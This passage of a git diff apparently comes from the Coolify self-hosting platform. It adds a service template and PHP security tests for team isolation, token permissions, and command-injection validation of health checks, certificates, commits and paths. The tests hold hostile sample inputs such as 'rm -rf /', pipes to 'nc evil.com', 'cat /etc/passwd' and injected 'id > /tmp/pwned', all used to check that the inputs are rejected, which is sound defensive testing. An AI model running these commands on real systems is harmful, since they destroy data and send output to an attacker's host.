gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=", "tags": [ "object", "storage", @@ -5246,5 +5259,17 @@ "logo": "svgs/marimo.svg", "minversion": "0.0.0", "port": "8080" + }, + "pydio-cells": { + "documentation": "https://docs.pydio.com/?utm_source=coolify.io", + "slogan": "High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.", + "compose": "c2VydmljZXM6CiAgY2VsbHM6CiAgICBpbWFnZTogJ3B5ZGlvL2NlbGxzOjQuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DRUxMU184MDgwCiAgICAgIC0gJ0NFTExTX1NJVEVfRVhURVJOQUw9JHtTRVJWSUNFX0ZRRE5fQ0VMTFN9JwogICAgICAtIENFTExTX1NJVEVfTk9fVExTPTEKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2NlbGxzX2RhdGE6L3Zhci9jZWxscycKICBtYXJpYWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOjExJwogICAgdm9sdW1lczoKICAgICAgLSAnbXlzcWxfZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTFJPT1R9JwogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFOi1jZWxsc30nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiA1Cg==", + "tags": [ + "storage" + ], + "category": null, + "logo": "svgs/cells.svg", + "minversion": "0.0.0", + "port": "8080" } } diff --git a/tests/Feature/ActivityMonitorCrossTeamTest.php b/tests/Feature/ActivityMonitorCrossTeamTest.php new file mode 100644 index 000000000..9966ac2dd --- /dev/null +++ b/tests/Feature/ActivityMonitorCrossTeamTest.php @@ -0,0 +1,132 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->otherTeam = Team::factory()->create(); +}); + +test('hydrateActivity blocks access to another teams activity via team_id', function () { + $otherActivity = Activity::create([ + 'log_name' => 'default', + 'description' => 'test activity', + 'properties' => ['team_id' => $this->otherTeam->id], + ]); + + $this->actingAs($this->user); + session(['currentTeam' => ['id' => $this->team->id]]); + + Livewire::test(ActivityMonitor::class) + ->call('newMonitorActivity', $otherActivity->id) + ->assertSet('activity', null); +}); + +test('hydrateActivity allows access to own teams activity via team_id', function () { + $ownActivity = Activity::create([ + 'log_name' => 'default', + 'description' => 'test activity', + 'properties' => ['team_id' => $this->team->id], + ]); + + $this->actingAs($this->user); + session(['currentTeam' => ['id' => $this->team->id]]); + + $component = Livewire::test(ActivityMonitor::class) + ->call('newMonitorActivity', $ownActivity->id); + + expect($component->get('activity'))->not->toBeNull(); + expect($component->get('activity')->id)->toBe($ownActivity->id); +}); + +test('hydrateActivity blocks access to activity without team_id or server_uuid', function () { + $legacyActivity = Activity::create([ + 'log_name' => 'default', + 'description' => 'legacy activity', + 'properties' => [], + ]); + + $this->actingAs($this->user); + session(['currentTeam' => ['id' => $this->team->id]]); + + Livewire::test(ActivityMonitor::class) + ->call('newMonitorActivity', $legacyActivity->id) + ->assertSet('activity', null); +}); + +test('hydrateActivity blocks access to activity from another teams server via server_uuid', function () { + $otherServer = Server::factory()->create([ + 'team_id' => $this->otherTeam->id, + ]); + + $otherActivity = Activity::create([ + 'log_name' => 'default', + 'description' => 'test activity', + 'properties' => ['server_uuid' => $otherServer->uuid], + ]); + + $this->actingAs($this->user); + session(['currentTeam' => ['id' => $this->team->id]]); + + Livewire::test(ActivityMonitor::class) + ->call('newMonitorActivity', $otherActivity->id) + ->assertSet('activity', null); +}); + +test('hydrateActivity allows access to activity from own teams server via server_uuid', function () { + $ownServer = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); + + $ownActivity = Activity::create([ + 'log_name' => 'default', + 'description' => 'test activity', + 'properties' => ['server_uuid' => $ownServer->uuid], + ]); + + $this->actingAs($this->user); + session(['currentTeam' => ['id' => $this->team->id]]); + + $component = Livewire::test(ActivityMonitor::class) + ->call('newMonitorActivity', $ownActivity->id); + + expect($component->get('activity'))->not->toBeNull(); + expect($component->get('activity')->id)->toBe($ownActivity->id); +}); + +test('hydrateActivity returns null for non-existent activity id', function () { + $this->actingAs($this->user); + session(['currentTeam' => ['id' => $this->team->id]]); + + Livewire::test(ActivityMonitor::class) + ->call('newMonitorActivity', 99999) + ->assertSet('activity', null); +}); + +test('activityId property is locked and cannot be set from client', function () { + $otherActivity = Activity::create([ + 'log_name' => 'default', + 'description' => 'test activity', + 'properties' => ['team_id' => $this->otherTeam->id], + ]); + + $this->actingAs($this->user); + session(['currentTeam' => ['id' => $this->team->id]]); + + // Attempting to set a #[Locked] property from the client should throw + Livewire::test(ActivityMonitor::class) + ->set('activityId', $otherActivity->id) + ->assertStatus(500); +})->throws(CannotUpdateLockedPropertyException::class); diff --git a/tests/Feature/ApiTokenPermissionTest.php b/tests/Feature/ApiTokenPermissionTest.php index 44efb7e06..f1782de2a 100644 --- a/tests/Feature/ApiTokenPermissionTest.php +++ b/tests/Feature/ApiTokenPermissionTest.php @@ -73,3 +73,28 @@ $response->assertStatus(403); }); }); + +describe('GET /api/v1/servers/{uuid}/validate', function () { + test('read-only token cannot trigger server validation', function () { + $token = $this->user->createToken('read-only', ['read']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + ])->getJson('/api/v1/servers/fake-uuid/validate'); + + $response->assertStatus(403); + }); +}); + +describe('POST /api/v1/cloud-tokens/{uuid}/validate', function () { + test('read-only token cannot validate cloud provider token', function () { + $token = $this->user->createToken('read-only', ['read']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/cloud-tokens/fake-uuid/validate'); + + $response->assertStatus(403); + }); +}); diff --git a/tests/Feature/ApplicationHealthCheckApiTest.php b/tests/Feature/ApplicationHealthCheckApiTest.php new file mode 100644 index 000000000..8ccb7c639 --- /dev/null +++ b/tests/Feature/ApplicationHealthCheckApiTest.php @@ -0,0 +1,120 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + + StandaloneDocker::withoutEvents(function () { + $this->destination = StandaloneDocker::firstOrCreate( + ['server_id' => $this->server->id, 'network' => 'coolify'], + ['uuid' => (string) new Cuid2, 'name' => 'test-docker'] + ); + }); + + $this->project = Project::create([ + 'uuid' => (string) new Cuid2, + 'name' => 'test-project', + 'team_id' => $this->team->id, + ]); + + // Project boot event auto-creates a 'production' environment + $this->environment = $this->project->environments()->first(); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); +}); + +function healthCheckAuthHeaders($bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +describe('PATCH /api/v1/applications/{uuid} health check fields', function () { + test('can update health_check_type to cmd with a command', function () { + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'cmd', + 'health_check_command' => 'pg_isready -U postgres', + ]); + + $response->assertOk(); + + $this->application->refresh(); + expect($this->application->health_check_type)->toBe('cmd'); + expect($this->application->health_check_command)->toBe('pg_isready -U postgres'); + }); + + test('can update health_check_type back to http', function () { + $this->application->update([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'redis-cli ping', + ]); + + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'http', + 'health_check_command' => null, + ]); + + $response->assertOk(); + + $this->application->refresh(); + expect($this->application->health_check_type)->toBe('http'); + expect($this->application->health_check_command)->toBeNull(); + }); + + test('rejects invalid health_check_type', function () { + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'exec', + ]); + + $response->assertStatus(422); + }); + + test('rejects health_check_command with shell operators', function () { + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'cmd', + 'health_check_command' => 'pg_isready; rm -rf /', + ]); + + $response->assertStatus(422); + }); + + test('rejects health_check_command over 1000 characters', function () { + $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'health_check_type' => 'cmd', + 'health_check_command' => str_repeat('a', 1001), + ]); + + $response->assertStatus(422); + }); +}); diff --git a/tests/Feature/ApplicationRollbackTest.php b/tests/Feature/ApplicationRollbackTest.php new file mode 100644 index 000000000..61b3505ae --- /dev/null +++ b/tests/Feature/ApplicationRollbackTest.php @@ -0,0 +1,146 @@ +application = new Application; + $this->application->forceFill([ + 'uuid' => 'test-app-uuid', + 'git_commit_sha' => 'HEAD', + ]); + + $settings = new ApplicationSetting; + $settings->is_git_shallow_clone_enabled = false; + $settings->is_git_submodules_enabled = false; + $settings->is_git_lfs_enabled = false; + $this->application->setRelation('settings', $settings); + }); + + test('setGitImportSettings uses passed commit instead of application git_commit_sha', function () { + $rollbackCommit = 'abc123def456abc123def456abc123def456abc1'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + commit: $rollbackCommit + ); + + expect($result)->toContain($rollbackCommit); + }); + + test('setGitImportSettings with shallow clone fetches specific commit', function () { + $this->application->settings->is_git_shallow_clone_enabled = true; + + $rollbackCommit = 'abc123def456abc123def456abc123def456abc1'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + commit: $rollbackCommit + ); + + expect($result) + ->toContain('git fetch --depth=1 origin') + ->toContain($rollbackCommit); + }); + + test('setGitImportSettings falls back to git_commit_sha when no commit passed', function () { + $this->application->git_commit_sha = 'def789abc012def789abc012def789abc012def7'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + ); + + expect($result)->toContain('def789abc012def789abc012def789abc012def7'); + }); + + test('setGitImportSettings escapes shell metacharacters in commit parameter', function () { + $maliciousCommit = 'abc123; rm -rf /'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + commit: $maliciousCommit + ); + + // escapeshellarg wraps the value in single quotes, neutralizing metacharacters + expect($result) + ->toContain("checkout 'abc123; rm -rf /'") + ->not->toContain('checkout abc123; rm -rf /'); + }); + + test('setGitImportSettings does not append checkout when commit is HEAD', function () { + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + ); + + expect($result)->not->toContain('advice.detachedHead=false checkout'); + }); + + test('setGitImportSettings uses provided git_ssh_command for fetch', function () { + $this->application->settings->is_git_shallow_clone_enabled = true; + $rollbackCommit = 'abc123def456abc123def456abc123def456abc1'; + $sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22222 -o Port=22222 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + commit: $rollbackCommit, + git_ssh_command: $sshCommand, + ); + + expect($result) + ->toContain('-i /root/.ssh/id_rsa" git fetch --depth=1 origin') + ->toContain($rollbackCommit); + }); + + test('setGitImportSettings uses provided git_ssh_command for submodule update', function () { + $this->application->settings->is_git_submodules_enabled = true; + $sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + git_ssh_command: $sshCommand, + ); + + expect($result) + ->toContain('-i /root/.ssh/id_rsa" git submodule update --init --recursive'); + }); + + test('setGitImportSettings uses provided git_ssh_command for lfs pull', function () { + $this->application->settings->is_git_lfs_enabled = true; + $sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + git_ssh_command: $sshCommand, + ); + + expect($result)->toContain('-i /root/.ssh/id_rsa" git lfs pull'); + }); + + test('setGitImportSettings uses default ssh command when git_ssh_command not provided', function () { + $this->application->settings->is_git_lfs_enabled = true; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + ); + + expect($result) + ->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git lfs pull') + ->not->toContain('-i /root/.ssh/id_rsa'); + }); +}); diff --git a/tests/Feature/ApplicationSourceLocalhostKeyTest.php b/tests/Feature/ApplicationSourceLocalhostKeyTest.php new file mode 100644 index 000000000..9b9b7b184 --- /dev/null +++ b/tests/Feature/ApplicationSourceLocalhostKeyTest.php @@ -0,0 +1,59 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +describe('Application Source with localhost key (id=0)', function () { + test('renders deploy key section when private_key_id is 0', function () { + $privateKey = PrivateKey::create([ + 'id' => 0, + 'name' => 'localhost', + 'private_key' => 'test-key-content', + 'team_id' => $this->team->id, + ]); + + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'private_key_id' => 0, + ]); + + Livewire::test(Source::class, ['application' => $application]) + ->assertSuccessful() + ->assertSet('privateKeyId', 0) + ->assertSee('Deploy Key'); + }); + + test('shows no source connected section when private_key_id is null', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'private_key_id' => null, + ]); + + Livewire::test(Source::class, ['application' => $application]) + ->assertSuccessful() + ->assertSet('privateKeyId', null) + ->assertDontSee('Deploy Key') + ->assertSee('No source connected'); + }); +}); diff --git a/tests/Feature/CaCertificateCommandInjectionTest.php b/tests/Feature/CaCertificateCommandInjectionTest.php new file mode 100644 index 000000000..fffa28d6a --- /dev/null +++ b/tests/Feature/CaCertificateCommandInjectionTest.php @@ -0,0 +1,93 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); +}); + +function generateSelfSignedCert(): string +{ + $key = openssl_pkey_new(['private_key_bits' => 2048]); + $csr = openssl_csr_new(['CN' => 'Test CA'], $key); + $cert = openssl_csr_sign($csr, null, $key, 365); + openssl_x509_export($cert, $certPem); + + return $certPem; +} + +test('saveCaCertificate sanitizes injected commands after certificate marker', function () { + $validCert = generateSelfSignedCert(); + + $caCert = SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => true, + 'ssl_certificate' => $validCert, + 'ssl_private_key' => 'test-key', + 'common_name' => 'Coolify CA Certificate', + 'valid_until' => now()->addYears(10), + ]); + + // Inject shell command after valid certificate + $maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '"; + + Livewire::test(Show::class, ['server_uuid' => $this->server->uuid]) + ->set('certificateContent', $maliciousContent) + ->call('saveCaCertificate') + ->assertDispatched('success'); + + // After save, the certificate should be the clean re-exported PEM, not the malicious input + $caCert->refresh(); + expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned'); + expect($caCert->ssl_certificate)->not->toContain('; id'); + expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----'); + expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n"); +}); + +test('saveCaCertificate rejects completely invalid certificate', function () { + SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => true, + 'ssl_certificate' => 'placeholder', + 'ssl_private_key' => 'test-key', + 'common_name' => 'Coolify CA Certificate', + 'valid_until' => now()->addYears(10), + ]); + + Livewire::test(Show::class, ['server_uuid' => $this->server->uuid]) + ->set('certificateContent', "not-a-cert'; rm -rf /; echo '") + ->call('saveCaCertificate') + ->assertDispatched('error'); +}); + +test('saveCaCertificate rejects empty certificate content', function () { + SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => true, + 'ssl_certificate' => 'placeholder', + 'ssl_private_key' => 'test-key', + 'common_name' => 'Coolify CA Certificate', + 'valid_until' => now()->addYears(10), + ]); + + Livewire::test(Show::class, ['server_uuid' => $this->server->uuid]) + ->set('certificateContent', '') + ->call('saveCaCertificate') + ->assertDispatched('error'); +}); diff --git a/tests/Feature/CleanupUnreachableServersTest.php b/tests/Feature/CleanupUnreachableServersTest.php new file mode 100644 index 000000000..edfd0511c --- /dev/null +++ b/tests/Feature/CleanupUnreachableServersTest.php @@ -0,0 +1,73 @@ += 3 after 7 days', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 50, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(8), + ]); + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe('1.2.3.4'); +}); + +it('does not clean up servers with unreachable_count less than 3', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 2, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(8), + ]); + + $originalIp = $server->ip; + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe($originalIp); +}); + +it('does not clean up servers updated within 7 days', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 10, + 'unreachable_notification_sent' => true, + 'updated_at' => now()->subDays(3), + ]); + + $originalIp = $server->ip; + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe($originalIp); +}); + +it('does not clean up servers without notification sent', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'unreachable_count' => 10, + 'unreachable_notification_sent' => false, + 'updated_at' => now()->subDays(8), + ]); + + $originalIp = $server->ip; + + $this->artisan('cleanup:unreachable-servers')->assertSuccessful(); + + $server->refresh(); + expect($server->ip)->toBe($originalIp); +}); diff --git a/tests/Feature/CmdHealthCheckValidationTest.php b/tests/Feature/CmdHealthCheckValidationTest.php new file mode 100644 index 000000000..038f3000e --- /dev/null +++ b/tests/Feature/CmdHealthCheckValidationTest.php @@ -0,0 +1,90 @@ + str_repeat('a', 1001)], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => 'pg_isready -U postgres'], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeFalse(); +}); + +it('accepts null healthCheckCommand', function () use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => null], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeFalse(); +}); + +it('accepts simple commands', function ($command) use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => $command], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeFalse(); +})->with([ + 'pg_isready -U postgres', + 'redis-cli ping', + 'curl -f http://localhost:8080/health', + 'wget -q -O- http://localhost/health', + 'mysqladmin ping -h 127.0.0.1', +]); + +it('rejects commands with shell operators', function ($command) use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => $command], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeTrue(); +})->with([ + 'pg_isready; rm -rf /', + 'redis-cli ping | nc evil.com 1234', + 'curl http://localhost && curl http://evil.com', + 'echo $(whoami)', + 'cat /etc/passwd > /tmp/out', + 'curl `whoami`.evil.com', + 'cmd & background', + 'echo "hello"', + "echo 'hello'", + 'test < /etc/passwd', + 'bash -c {echo,pwned}', + 'curl http://evil.com#comment', + 'echo $HOME', + "cmd\twith\ttabs", + "cmd\nwith\nnewlines", +]); + +it('rejects invalid healthCheckType', function () { + $validator = Validator::make( + ['healthCheckType' => 'exec'], + ['healthCheckType' => 'string|in:http,cmd'] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('accepts valid healthCheckType values', function ($type) { + $validator = Validator::make( + ['healthCheckType' => $type], + ['healthCheckType' => 'string|in:http,cmd'] + ); + + expect($validator->fails())->toBeFalse(); +})->with(['http', 'cmd']); diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php index 47e9f3b35..cfa363e79 100644 --- a/tests/Feature/CommandInjectionSecurityTest.php +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -1,6 +1,7 @@ toBe('/docker/Dockerfile.prod'); }); + test('allows path with @ symbol for scoped packages', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/packages/@intlayer/mcp/Dockerfile', 'dockerfile_location')) + ->toBe('/packages/@intlayer/mcp/Dockerfile'); + }); + + test('allows path with tilde and plus characters', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect($method->invoke($instance, '/build~v1/c++/Dockerfile', 'dockerfile_location')) + ->toBe('/build~v1/c++/Dockerfile'); + }); + test('allows valid compose file path', function () { $job = new ReflectionClass(ApplicationDeploymentJob::class); $method = $job->getMethod('validatePathField'); @@ -147,6 +170,17 @@ expect($validator->fails())->toBeFalse(); }); + + test('dockerfile_location validation allows paths with @ for scoped packages', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_location' => '/packages/@intlayer/mcp/Dockerfile'], + ['dockerfile_location' => $rules['dockerfile_location']] + ); + + expect($validator->fails())->toBeFalse(); + }); }); describe('sharedDataApplications rules survive array_merge in controller', function () { @@ -164,7 +198,7 @@ // The merged rules for docker_compose_location should be the safe regex, not just 'string' expect($merged['docker_compose_location'])->toBeArray(); - expect($merged['docker_compose_location'])->toContain('regex:/^\/[a-zA-Z0-9._\-\/]+$/'); + expect($merged['docker_compose_location'])->toContain('regex:'.ValidationPatterns::FILE_PATH_PATTERN); }); }); @@ -203,6 +237,370 @@ }); }); +describe('dockerfile_target_build validation', function () { + test('rejects shell metacharacters in dockerfile_target_build', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => 'production; echo pwned'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in dockerfile_target_build', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => 'builder$(whoami)'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects ampersand injection in dockerfile_target_build', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => 'stage && env'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid target names', function ($target) { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => $target], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['production', 'build-stage', 'stage.final', 'my_target', 'v2']); + + test('runtime validates dockerfile_target_build', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + + // Test that validateShellSafeCommand is also available as a pattern + $pattern = ValidationPatterns::DOCKER_TARGET_PATTERN; + expect(preg_match($pattern, 'production'))->toBe(1); + expect(preg_match($pattern, 'build; env'))->toBe(0); + expect(preg_match($pattern, 'target`whoami`'))->toBe(0); + }); +}); + +describe('base_directory validation', function () { + test('rejects shell metacharacters in base_directory', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => '/src; echo pwned'], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in base_directory', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => '/dir$(whoami)'], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid base directories', function ($dir) { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => $dir], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['/', '/src', '/backend/app', '/packages/@scope/app']); + + test('runtime validates base_directory via validatePathField', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/src; echo pwned', 'base_directory')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + + expect($method->invoke($instance, '/src', 'base_directory')) + ->toBe('/src'); + }); +}); + +describe('docker_compose_custom_command validation', function () { + test('rejects semicolon injection in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up; echo pwned'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects pipe injection in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_build_command' => 'docker compose build | curl evil.com'], + ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows ampersand chaining in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up && docker compose logs'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeFalse(); + }); + + test('rejects command substitution in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_build_command' => 'docker compose build $(whoami)'], + ['docker_compose_custom_build_command' => 